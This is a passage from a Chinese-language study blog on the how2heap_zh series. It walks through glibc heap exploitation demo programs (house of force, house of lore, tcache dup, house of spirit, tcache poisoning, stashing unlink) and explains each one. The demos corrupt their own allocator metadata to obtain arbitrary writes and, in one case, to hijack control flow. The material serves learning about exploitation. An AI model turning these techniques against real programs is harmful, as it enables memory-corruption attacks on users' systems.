printf("bk_nextsize: %#lx\n", fake_chunk[5]);

b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
printf("\n再去申请 0xf8 chunk b.\n");
printf("chunk b 在: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
printf("\nb 的 size: %#lx\n", *b_size_ptr);
printf("b 的 大小是: 0x100,prev_inuse 有个 1,所以显示 0x101\n");
printf("假设有个 off by null 的漏洞,可以通过编辑 a 的时候把 b 的 prev_inuse 改成 0\n");
a[real_a_size] = 0;
printf("b 现在的 size: %#lx\n", *b_size_ptr);

printf("\n我们伪造一个 prev_size 写到 a 的最后 %lu 个字节,以便 chunk b 与我们的 fake chunk 的合并\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("\n我们伪造的 prev_size 将会是 chunk b 的带 chunk 头的地址 %p - fake_chunk 的地址 %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

printf("\n接下来要把 fake chunk 的 size 改掉,来通过 size(P) == prev_size(next_chunk(P)) 检查\n");
fake_chunk[1] = fake_size;

printf("\nfree b,首先会跟 top chunk 合并,然后因为 b 的 prev_size 是 0,所以会跟前面的 fake chunk 合并,glibc 寻找空闲块的方法是 chunk_at_offset(p, -((long) prevsize)),这样算的话 b+fake_prev_size 得到 fake chunk 的地址,然后合并到 top chunk,新的 topchunk 的起点就是 fake chunk,再次申请就会从 top chunk 那里申请\n");
free(b);
printf("现在 fake chunk 的 size 是 %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

printf("\n现在如果去 malloc,他就会申请到伪造的那个 chunk\n");
d = malloc(0x200);
printf("malloc(0x200) 在 %p\n", d);
}

先在栈上伪造一个chunk(从presize到bk_nextsize全部填0x100),然后把第二个堆块的pre_inuse修改为0(与fake_chunk合并)。这里利用了寻找空闲块的函数

chunk_at_offset(p, -((long) prevsize))

所以只要presize位写成第二个 堆的地址 - fake_chunk的地址,这样识别出来的上一个空闲块的位置就是fake_chunk。

这里还要把fake_chunk的size位写为我们要修改的fake_size以通过检测

此时free 第二个堆块,它先与top_chunk合并,随后通过寻址找到fake_chunk与fake_chunk合并(此时top_chunk新地址为fake_chunk的地址)

这时候再申请一个新的堆块,就会从新的top_chunk开始切割,于是就申请到了栈上。

house_of_force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\n欢迎学习 House of Force\n\n");
fprintf(stderr, "House of Force 这种方法是去覆写 top chunk 这样 malloc 的时候就可以 malloc 到任意地址\n");
fprintf(stderr, "top chunk 是一类特殊的 chunk,在内存最后面。并且是当 malloc 向操作系统请求更多空间时将调整大小的块。\n");

fprintf(stderr, "\n最后我们会覆盖这个变量 %p.\n", bss_var);
fprintf(stderr, "现在变量值是:%s\n", bss_var);

fprintf(stderr, "\n先分配一个 chunk.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "malloc(256) 的地址: %p.\n", p1 - 2);

fprintf(stderr, "\n现在有两块,一个我们申请的,一个 top chunk.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "我们申请的 chunk 加上 chunk 头,大小是:%ld.\n", real_size + sizeof(long)*2);

fprintf(stderr, "\n现在假设有一个漏洞,可以覆盖掉 top chunk 的头部分\n");

intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\ntop chunk 起始地址是:%p\n", ptr_top);

fprintf(stderr, "\n用一个很大的值覆盖掉 top chunk 的 size 位可以防止 malloc 调用 mmap\n");
fprintf(stderr, "top chunk 之前的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "top chunk 现在的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

fprintf(stderr, "\n因为现在 top chunk 的 size 是很大的,所以我们可以调用 malloc 而不会调用 mmap\n");

/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\n我们想把数据写在这里:%p, top chunk 在:%p, 还要把 chunk 头算进去,我们将要申请 %#lx 字节.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "新申请的 chunk 将会与之前的 top chunk 在同一个位置: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\n接下来再申请 chunk 的话将会指向我们想要修改的地方\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "现在我们就可以控制 bss_var 这块地方的值了\n");

fprintf(stderr, "... 之前内容是: %s\n", bss_var);
fprintf(stderr, "... 接下来把 \"YEAH!!!\" 写到那里...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... 新的内容: %s\n", bss_var);
// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}


先申请一个chunk去控制top_chunk的size位(改为0xffffffffffff),此时申请一个很大的chunk亦不会调用mmap。然后把去申请一个evil_size的大小的chunk,把top_chunk控制到bss_addr上(这个chunk与之前top_chunk处于同一位置),这个时候再一次申请一个chunk就能把chunk申请到目标地址上

evil_size=dest - old_top - 4*sizeof(long)=dest - old_top -0x20

house_of_lore

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){

intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
fprintf(stderr, "定义了两个数组");
fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);

intptr_t *victim = malloc(100);
fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);
intptr_t *victim_chunk = victim-2;//chunk 开始的位置

fprintf(stderr, "在栈上伪造一块 fake chunk\n");
fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

void *p5 = malloc(1000);
fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %p\n", p5);

fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);
free((void*)victim);

fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
void *p2 = malloc(1200);

fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
victim[1] = (intptr_t)stack_buffer_1;

fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
void *p3 = malloc(100);

fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");

fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);

fprintf(stderr, "\np4 在栈上 %p\n", p4);
intptr_t sc = (intptr_t)jackpot;
memcpy((p4+40), &sc, 8);
}

先是在栈上伪造了两个chunk,p1的fd指向victim_chunk,bk指向p2,而p2的fd指向p1。(为了绕过small_bins的检测)

p1->fd=victim_chunk,p1->bk=p2,p2->fd=p1

随后申请了一块chunk防止合并,再去free victim_chunk。

这时申请一个比较大的chunk把victim_chunk放入small_bins(fd,bk都指向main_arean+88),然后利用漏洞去修改victim_chunk的bk指针为p1。

随后去申请一个与victim_chunk初始大小一样大的chunk就会把victim_chunk申请回来,再申请一次就把chunk申请到了p1的位置(此时p2的fd指针会指向main_arean+88,这是因为small_bins链表中只剩p2一个chunk)

glibc_2.27

tcache_dup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "先申请一块内存\n");
int *a = malloc(8);

fprintf(stderr, "申请的内存地址是: %p\n", a);
fprintf(stderr, "对这块内存地址 free两次\n");
free(a);
free(a);

fprintf(stderr, "这时候链表是这样的 [ %p, %p ].\n", a, a);
fprintf(stderr, "接下来再去 malloc 两次: [ %p, %p ].\n", malloc(8), malloc(8));
fprintf(stderr, "ojbk\n");
return 0;
}

在2.27版本,tcache是没有double_free检测的,所以直接double_free就可以

tcache_house_of_spirit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>

int main()
{
malloc(1);
unsigned long long *a;
unsigned long long fake_chunks[10];
fprintf(stderr, "fake_chunks[1] 在 %p\n", &fake_chunks[1]);
fprintf(stderr, "fake_chunks[1] 改成 0x40 \n");
fake_chunks[1] = 0x40;
fprintf(stderr, "把 fake_chunks[2] 的地址赋给 a, %p.\n", &fake_chunks[2]);
a = &fake_chunks[2];
fprintf(stderr, "free 掉 a\n");
free(a);
fprintf(stderr, "再去 malloc(0x30),在可以看到申请来的结果在: %p\n", malloc(0x30));
fprintf(stderr, "ojbk\n");
}

相比与2.23版本下的house_of_spirit,在2.27版本下用tcache会更简单,直接去free fake_chunk再申请回来就可以(仅仅需要伪造一个size位)

tcache_poisoning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
size_t stack_var;
printf("定义了一个变量 stack_var,我们想让程序 malloc 到这里 %p.\n", (char *)&stack_var);

printf("接下来申请两个 chunk\n");
intptr_t *a = malloc(128);
printf("chunk a 在: %p\n", a);
intptr_t *b = malloc(128);
printf("chunk b 在: %p\n", b);

printf("free 掉这两个 chunk\n");
free(a);
free(b);

printf("现在 tcache 那个链表是这样的 [ %p -> %p ].\n", b, a);
printf("我们把 %p 的前 %lu 字节(也就是 fd/next 指针)改成 stack_var 的地址:%p", b, sizeof(intptr_t), &stack_var);
b[0] = (intptr_t)&stack_var;
printf("现在 tcache 链表是这样的 [ %p -> %p ].\n", b, &stack_var);

printf("然后一次 malloc : %p\n", malloc(128));
printf("现在 tcache 链表是这样的 [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("第二次 malloc: %p\n", c);
printf("ojbk\n");

return 0;
}

先申请两个chunk然后释放,把第二个chunk的fd修改为要malloc到的地址,然后malloc两次就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdlib.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
unsigned long *pp;

fprintf(stderr, "stack_var 是我们希望分配到的地址,我们首先把 &stack_var[2] 写到 stack_var[3] 来绕过 glibc 的 bck->fd=bin(即 fake chunk->bk 应该是一个可写的地址)\n");
stack_var[3] = (unsigned long)(&stack_var[2]);
fprintf(stderr, "修改之后 fake_chunk->bk 是:%p\n",(void*)stack_var[3]);
fprintf(stderr, "stack_var[4] 的初始值是:%p\n",(void*)stack_var[4]);
fprintf(stderr, "现在申请 9 个 0x90 的 chunk\n");

for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
fprintf(stderr, "先释放 6 个,这 6 个都会放到 tcache 里面\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
fprintf(stderr, "接下来的释放的三个里面第一个是最后一个放到 tcache 里面的,后面的都会放到 unsortedbin 中\n");

free(chunk_lis[1]);
//接下来的就是放到 unsortedbin 了
free(chunk_lis[0]);
free(chunk_lis[2]);
fprintf(stderr, "接下来申请一个大于 0x90 的 chunk,chunk0 和 chunk2 都会被整理到 smallbin 中\n");
malloc(0xa0);//>0x90

fprintf(stderr, "然后再去从 tcache 中申请两个 0x90 大小的 chunk\n");
malloc(0x90);
malloc(0x90);

fprintf(stderr, "假设有个漏洞,可以把 victim->bk 的指针改写成 fake_chunk 的地址: %p\n",(void*)stack_var);
chunk_lis[2][1] = (unsigned long)stack_var;
fprintf(stderr, "现在 calloc 申请一个 0x90 大小的 chunk,他会把一个 smallbin 里的 chunk0 返回给我们,另一个 smallbin 的 chunk2 将会与 tcache 相连.\n");
pp = calloc(1,0x90);

fprintf(stderr, "这时候我们的 fake_chunk 已经放到了 tcache bin[0xa0] 这个链表中,它的 fd 指针现在指向下一个空闲的块: %p, bck->fd 已经变成了 libc 的地址: %p\n",(void*)stack_var[2],(void*)stack_var[4]);
target = malloc(0x90);
fprintf(stderr, "再次 malloc 0x90 可以看到申请到了 fake_chunk: %p\n",(void*)target);
fprintf(stderr, "ojbk\n");
return 0;
}

先让fake_chunk的fd指向bk绕过检测,然后申请9个chunk,free6个填满tcache_bins,然后依次释放p1,p0,p2。这里0和2会进入unsorted_bins

tcache_bins:p8->p7->p6->p5->p4->p3

接着申请一个大于0x90的chunk把p0和p2整理到small_bins,然后从tcache申请2个0x90的chunk

tcache_bins:p6->p5->p4->p3

small_bins:2->0

然后把p2的bk改为fake_chunk的地址,然后去calloc p0,此时p2就连到了tcache上

tcache_bins:fake_chunk->p2->p6->p5->p4->p3

此时fake_chunk的下一个空闲块为fake_chunk的fd,fake_chunk[4]变为libc地址

再申请一次就申请到了fake_chunk


how2heap_zh学习
http://example.com/2025/03/27/how2heap-zh学习/
发布于
2025年3月27日
许可协议